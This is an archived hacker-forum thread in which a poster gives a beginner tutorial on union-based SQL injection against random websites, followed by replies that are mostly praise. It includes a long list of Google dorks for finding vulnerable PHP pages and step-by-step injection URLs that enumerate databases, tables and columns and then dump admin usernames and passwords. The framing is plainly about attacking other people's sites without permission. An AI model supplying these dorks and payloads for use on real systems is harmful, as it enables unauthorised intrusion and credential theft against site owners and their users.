

Forum:[Hack Forums](#)

Thread: [\[TUT\]How To Code In SQLI \[TUT\]](#)

ADIL - June 8, 2010, 9:23 pm

This Is My 1st Tut Post

[img]http://i47.[censored].com/alozv9.jpg[/img]

Introduction:

Sqli (aka Sql Injection or Structured Query Language Injection) is the first step in the entry to exploiting or hacking websites. It is easily done and it is a great starting off point. Unfortunately most sqli tutorials suck, so that is why I am writing this one. Sqli is just basically injecting queries into a database or using queries to get authorization bypass as an admin.

Finding Sites to Inject:

Finding SQLI Vulnerable sits is extremely easy all you need to do is some googling. The first thing you need to do are find some dorks.

Spoiler ([Click to View](#))

inurl:trainers.php?id=

inurl:buy.php?category=

inurl:article.php?ID=

inurl:play_old.php?id=

inurl:declaration_more.php?decl_id=

inurl:pageid=

inurl:games.php?id=

inurl:page.php?file=

inurl:newsDetail.php?id=

inurl:gallery.php?id=

inurl:article.php?id=

inurl:show.php?id=

inurl:staff_id=

inurl:newsitem.php?num=

inurl:readnews.php?id=

inurl:top10.php?cat=

inurl:historialeer.php?num=

inurl:reagir.php?num=

inurl:Stray-Questions-View.php?num=

inurl:forum_bds.php?num=

inurl:game.php?id=

inurl:view_product.php?id=

inurl:newsone.php?id=

inurl:sw_comment.php?id=

inurl:news.php?id=

inurl:avd_start.php?avd=

inurl:event.php?id=

inurl:product-item.php?id=

inurl:sql.php?id=

inurl:news_view.php?id=

inurl:select_biblio.php?id=

inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:ogl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
inurl:communiquer_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=

inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:pages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=

inurl:galeri_info.php?l=
inurl:tekst.php?id=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=
buy.php?category=
article.php?ID=
play_old.php?id=
declaration_more.php?decl_id=
Pageid=
games.php?id=
page.php?file=
newsDetail.php?id=
gallery.php?id=
article.php?id=
play_old.php?id=
show.php?id=
staff_id=
newsitem.php?num=
readnews.php?id=
top10.php?cat=
historialeer.php?num=
reagir.php?num=
forum_bds.php?num=
game.php?id=
view_product.php?id=
newsone.php?id=
sw_comment.php?id=
news.php?id=
avd_start.php?avd=
event.php?id=
product-item.php?id=
sql.php?id=
news_view.php?id=
select_biblio.php?id=
humor.php?id=
aboutbook.php?id=
fiche_spectacle.php?id=
communiquer_detail.php?id=
sem.php3?id=
kategorie.php4?id=
faq2.php?id=
show_an.php?id=
preview.php?id=
loadpsb.php?id=
opinions.php?id=
spr.php?id=
pages.php?id=
announce.php?id=

clanek.php?id=
participant.php?id=
download.php?id=
main.php?id=
review.php?id=
chappies.php?id=
read.php?id=
prod_detail.php?id=
viewphoto.php?id=
article.php?id=
play_old.php?id=
declaration_more.php?decl_id=
category.php?id=
publications.php?id=
fellows.php?id=
downloads_info.php?id=
prod_info.php?id=
shop.php?do=part&id=
Productinfo.php?id=
website.php?id=
Productinfo.php?id=
showimg.php?id=
view.php?id=
rub.php?idr=
view_faq.php?id=
artikelinfo.php?id=
detail.php?ID=
collectionitem.php?id=
band_info.php?id=
product.php?id=
releases.php?id=
ray.php?id=
produit.php?id=
pop.php?id=
shopping.php?id=
productdetail.php?id=
post.php?id=
viewshowdetail.php?id=
clubpage.php?id=
memberInfo.php?id=
section.php?id=
theme.php?id=
page.php?id=
shredder-categories.php?id=
tradeCategory.php?id=
shop_category.php?id=
transcript.php?id=
channel_id=
item_id=
newsid=
trainers.php?id=
buy.php?category=
article.php?ID=

play_old.php?id=
iniziativa.php?in=
detail_new.php?id=
tekst.php?id=
newscat.php?id=
newsticker_info.php?idn=
rubrika.php?idr=
rubp.php?idr=
offer.php?idf=
hotel.php?id=
art.php?idm=
title.php?id=
look.php?ID=
story.php?id=
labels.php?id=
review.php?id=
chappies.php?id=
news-full.php?id=
news_display.php?getid=
index2.php?option=
ages.php?id=
"id=" & intext:"Warning: mysql_fetch_assoc()
"id=" & intext:"Warning: mysql_fetch_array()
"id=" & intext:"Warning: mysql_num_rows()
"id=" & intext:"Warning: session_start()
"id=" & intext:"Warning: getimagesize()
"id=" & intext:"Warning: Unknown()
"id=" & intext:"Warning: pg_exec()
"id=" & intext:"Warning: array_merge()
"id=" & intext:"Warning: mysql_result()
"id=" & intext:"Warning: mysql_num_rows()
"id=" & intext:"Warning: mysql_query()
"id=" & intext:"Warning: filesize()
"id=" & intext:"Warning: require()

Pick one of those dorks and add inurl: before it

(If they do not already have it) and then copy and paste it into google. Pick one of the sites off google and go to it.

For example the url of the page you are on may look like this

Code <http://www.example.com/index.php?id=3> To check that it is vulnerable all you have to do is put a ' at the end of the url. So now your url should

Look like this

Code <http://www.example.com/index.php?id=3>' Press enter and you get some kind of error. The errors will vary

but it should look something like this

[img]<http://i982.photobucket.com/albums/ae308/blink1337/1.png>[img]

Getting Number of Columns

After you find your vulnerable site the first step you need to take is

to find the number of columns. The easiest way to do this is

use the statement "order by". All you have to do is put ORDER BY (number)--

at the end of your url. So it should look like this.

Code <http://www.example.com/index.php?id=3> ORDER BY (number)-- You want to start with ORDER BY 1-- and keep increasing the number by 1 until you get an error.

For example

Spoiler ([Click to View](#))

<http://www.example.com/index.php?id=3> order by 1--

<http://www.example.com/index.php?id=3> order by 2--

<http://www.example.com/index.php?id=3> order by 3--

<http://www.example.com/index.php?id=3> order by 4--

<http://www.example.com/index.php?id=3> order by 5--

<http://www.example.com/index.php?id=3> order by 6--

<http://www.example.com/index.php?id=3> order by 7--

<http://www.example.com/index.php?id=3> order by 8--

Lets say on order by 8-- you get an error page. This means that the website has 7 columns because

it will give you errors on anything over 7. If you have a bad memory you should open notepad and write the # of columns you find.

[img]<http://i982.photobucket.com/albums/ae308/blink1337/2-1.png>[/img]

Finding Accessable Columns

Now that we have the number of columns we need to get the column numbers that we can grab information from.

We do this by using the "Union" "select" and Number of columns. You put them together in your url like this

Code <http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7--> For the end part of the url, (1,2,3,4,5,6,7) You put the number of columns

you found in the first step. Since I found that the site I was testing had 7 columns I put 1,2,3,4,5,6,7. Also remeber to put a - infront of the id number.

After you do that you should get something like this...

[img]<http://i982.photobucket.com/albums/ae308/blink1337/3.png>[/img]

The page should look a bit fucked up and there should be 2 numbers on the page.

These two numbers are the colum numbers we can get information from. We will replace them with statements later on so

write them down or remeber them.

Finding MySQL Database Version

The reasons you need the database name is to see weather or not the website is worth your time because any msql database under 5 you will have to blindly guess the table and column names.

If you are a begginer and you find that the database is below 5 I urge you to find a different site.

Now we take one of the numbers that we found from the step above and replace it with @@version For Example, before our url looked like this

Code <http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7--> Now since we will replace the 1 with @@version

Code <http://www.example.com/index.php?id=-3+UNION+SELECT+@@version,2,3,4,5,6,7--> Press enter and now the page should display the database number.

[img]<http://i982.photobucket.com/albums/ae308/blink1337/4.png>[/img]

Now the number that we had in the first step will be replaced with the database number. As it shows above

The site that I am testing has a version number of 5.0.45. Since this number is 5 or above we will continue working on this site.

Finding Database Names

Next we are going to inject the website to find the database names. We do this by replacing @@version with group_concat(schema_name) and also add + from+information_schema.schemata-- after the last number in our url

So now our url should look like this

Code

http://www.example.com/index.php?id=-3+UNION+SELECT+group_concat(schema_name),2,3,4,5,6,7+ from+information_schema.schemata--You should get something like this when you go to that url.

[img]http://i982.photobucket.com/albums/ae308/blink1337/5.png[/img]

It will list the database names. Now to find which one is currently in use replace

group_concat(schema_name) with

concat(database()) and delete + from+information_schema.schemata So the url should now look like this

Code http://www.example.com/index.php?id=-3+UNION+SELECT+concat(database()),2,3,4,5,6,7--

[img]http://i982.photobucket.com/albums/ae308/blink1337/6.png[/img]

Finding Table Names

To get table names of current database you need to replace concat(database()) with group_concat(table_name)

and add from information_schema.tables where table_schema=database() between the last number and the -- also remove the

+ signs from the union select. Now your url should look like this

Code http://www.example.com/index.php?id=-3 union select group_concat(table_name),2,3,4,5,6,7 from information_schema.tables where table_schema=database()--The page should now show the Table names. You may want to write them down.

[img]http://i982.photobucket.com/albums/ae308/blink1337/untitled-1.png[/img]

Finding Column Names

This is exactly like getting table names you just change table_name to column_name and information_schema.tables to information_schema.columns.

So your url should look like.

Code http://www.example.com/index.php?id=-3 union select group_concat(column_name),2,3,4,5,6,7 from information_schema.columns where table_schema=database()--This should give you the column names. You may want to write them down.

Lets say they gave us back the cloumn names

admin_username

admin_password

Getting Information

Now we can have the database name, table names, and colomn names we can put them together and

pull information from them. Do to this we need to put the following in our url.

Code http://www.example.com/index.php?id=-3 union select 1,group_concat(Columnname,0x3a,columnname,0x3a),2,3,4,5,6,7 from databasename.tablename-- Now replace columnname with the column names you want infomation from. The 0x3a will make a : to seperate the information

for you. Put as many column names as you want to remeber to stick to the format. Also replace databasename.tablename

With the database name and the table name the column names where in. After all this your url should look something like this.

Code http://www.example.com/index.php?id=-3 union select

1,group_concat(admin_username,0x3a,admin_password,0x3a),2,3,4,5,6,7 from whippit.t_admin--
Now you should get usernames and passwords for the admin or what ever information you wanted to get.

Now you should know the basics of sql. Enjoy! I put alot of work into this tutorial so I hope you guys like it.

If have any questions feel free to pm me or add me on my msn or aim. There are probably a few mistakes in this tutorial, I will fix them

Cyandelta_CG - June 8, 2010, 9:24 pm

Nice tut;

Put all the dorks in a spoiler / coder tag tho :D

ADIL - June 8, 2010, 9:28 pm

thanks brother
mesg 2 short

Kalinga - June 9, 2010, 2:12 am

Well done mate! Explained in a very lucid and noob-friendly manner. Much appreciated!

ADIL - June 9, 2010, 8:49 pm

(Jun 9, 2010 02:12 AM)srinivas4761 Wrote: [\[CITE\]](#) Well done mate! Explained in a very lucid and noob-friendly manner. Much appreciated!

Thanks Mate !

Spoiler [\(Click to View\)](#)

2 Shorttt

daneuchar - June 9, 2010, 9:15 pm

well explained .. well done ! adil bhai

Eweshi - June 9, 2010, 11:15 pm

Very nice tut, thanks alot :P

Tayne_the_entertainer - June 10, 2010, 12:14 am

Can i get caught by doing this? I stopped after finding the table names...

z3pt0seC - June 10, 2010, 12:30 am

This is SQL injection.

Doesnt show how to code in SQL

Nice tut though.

drackor1991 - June 10, 2010, 1:34 am

Great! Thank you, I've learned a BUNCH from this TUT

BladeCNH - June 10, 2010, 4:08 am

(Jun 10, 2010 12:30 AM)vricks Wrote: [\[CITE\]](#) This is SQL injection.

Doesnt show how to code in SQL

Nice tut though.

Damn man you stole my words.

OH yes, change the title of the thread.

breathhacker - June 11, 2010, 8:16 am

When finding the site that is it vulnerable or not...if we land on the main page...then what does it means.

Error

Table 'information_schema.tables' doesn't exist

!!!! - June 11, 2010, 10:57 am

I love it man,I think this is the best sqli tut in hackforums

chinagash - June 12, 2010, 3:11 pm

Great Tutorial.. Thank you.. I've learned again a lot from this tut..

Nice work

Cacos - June 23, 2010, 10:05 am

Thank you mate, was kinda curious about SQLi, and you explained it in a way that even a 4 year old kid would understand :D

Great Job!

ninadmishraninad - January 1, 2011, 12:47 pm

how do i find ,which column , belong to which table?

Dacnomania - February 3, 2011, 6:08 am

Quote:Unfortunately most sqli tutorials suck

Like this one .

Quote:Next we are going to inject the website to find the database names. We do this by replacing @@version

with group_concat(schema_name) and also add + from+information_schema.schemata-- after the last number in our url

Why, does @@version get replaced with group_concat(schema_name) and why do we add + from+information_schema.schemata-- afdr the last number in the url ?

What you are doing is typing out what we need to type to hack, but why are you not explaining why that goes there, and what this does, and how this works .

"Just like this one", They lack information . I'm sure people will learn something here, but someone like me wants to know more about whats going on here .